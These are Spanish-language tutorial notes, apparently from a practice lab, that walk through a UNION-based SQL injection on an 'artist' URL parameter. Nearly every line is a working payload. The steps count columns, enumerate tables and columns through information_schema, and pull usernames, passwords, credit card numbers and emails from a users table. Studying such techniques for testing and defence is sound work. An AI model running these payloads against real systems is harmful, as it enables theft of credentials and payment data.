******* Abrimos primero
[Link]
[Link]
******* Ahora utilizaremos la t�cnica para descubrir si la consulta puede tener un
error (agregando ap�stofre)
[Link]/[Link]?artist=1'
******* Ahora con la instrucci�n ORDER BY, ordenamos los registros en orden
ascendente o descendente
[Link] order by 1
******* No sale nada, pero vamos incrementando el order by
[Link] order by 2
[Link] order by 3
[Link] order by 4
******* BINGO CON EL INCREMENTO A 4, nos sale un error, el c�digo, etc.
Lo que significa que consiste solo en tres registros
******** AHORA notar los resultados vienen despues de artist: REMARCADO CON AZUL EN
NEGRITA
******* Ahora, utilizamos el union select desde una tabal distinta
[Link] union select 1,2,3
******* Intentamos pasar un input erroneo a la base de datos a trav�s del URL
reemplazando artis=1 con artist=-1
[Link] union select 1,2,3
******* AHora en uno de los cambos, vamos a insertar una instruccion para sacar el
nombre de la base de datos
[Link] union select 1,database(),3
******* La siguiente instrucci�n nos permitir� extraer el nombre de usuario actua y
la versi�n del sistema de base de datos
[Link] union select
1,version(),current_user()
******* Intentamos obtener el nombre de la tabla dentro de la base de datos
[Link] union select 1,table_name,3 from
information_schema.tables where table_schema=database() limit 0,1
******* Desde el par�metro artist: nos sale: "artist: artist" que es el nombre de
la primera tabla. Ahora sacaremos el nombre de la segunda tabla
[Link] union select 1,table_name,3 from
information_schema.tables where table_schema=database() limit 1,1
******* De manera similar, hacemos un peque�o cambio para otra tabla
[Link] union select 1,table_name,3 from
information_schema.tables where table_schema=database() limit 2,1
******* Seguimos incrementando el limit a 3,1, luego a 4,1 y asi sucesivamente
hasta 7. En 8 no no sale nada, por lo que la �ltima tabla es 7: users, las tablas
van de 0 a 7, por lo que son 8 tablas en la base de datos
[Link] union select 1,table_name,3 from
information_schema.tables where table_schema=database() limit 7,1
******* La funci�n concat es utilizada para concatenar dos o mas strings dentro de
una sola
[Link] union select
1,group_concat(table_name),3 from information_schema.tables where
table_schema=database()
******* Ahora para obtener informaci�n m�s importante desde la tabla usuarios,
vamos a concatenar la informaci�n de la tabla, para obtener todas las columnas de
la tabla
[Link] union select
1,group_concat(column_name),3 from information_schema.columns where
table_name='users'
Nos devuelve en azul con negrita
artist: uname,pass,cc,address,email,name,phone,cart
******* Podemos extraer los datos de los campos de la tabla, por ej uname
[Link] union select
1,group_concat(uname),3 from users
Nos sale, artist: test
****** Ahora extraemos los datos de pass
[Link] union select
1,group_concat(pass),3 from users
Nos sale nuevamente artist: test
****** Sacamos ahora los datos del campo cc (ser� credit card?)
[Link] union select 1,group_concat(cc),3
from users
****** Sacamos el email
[Link] union select
1,group_concat(email),3 from users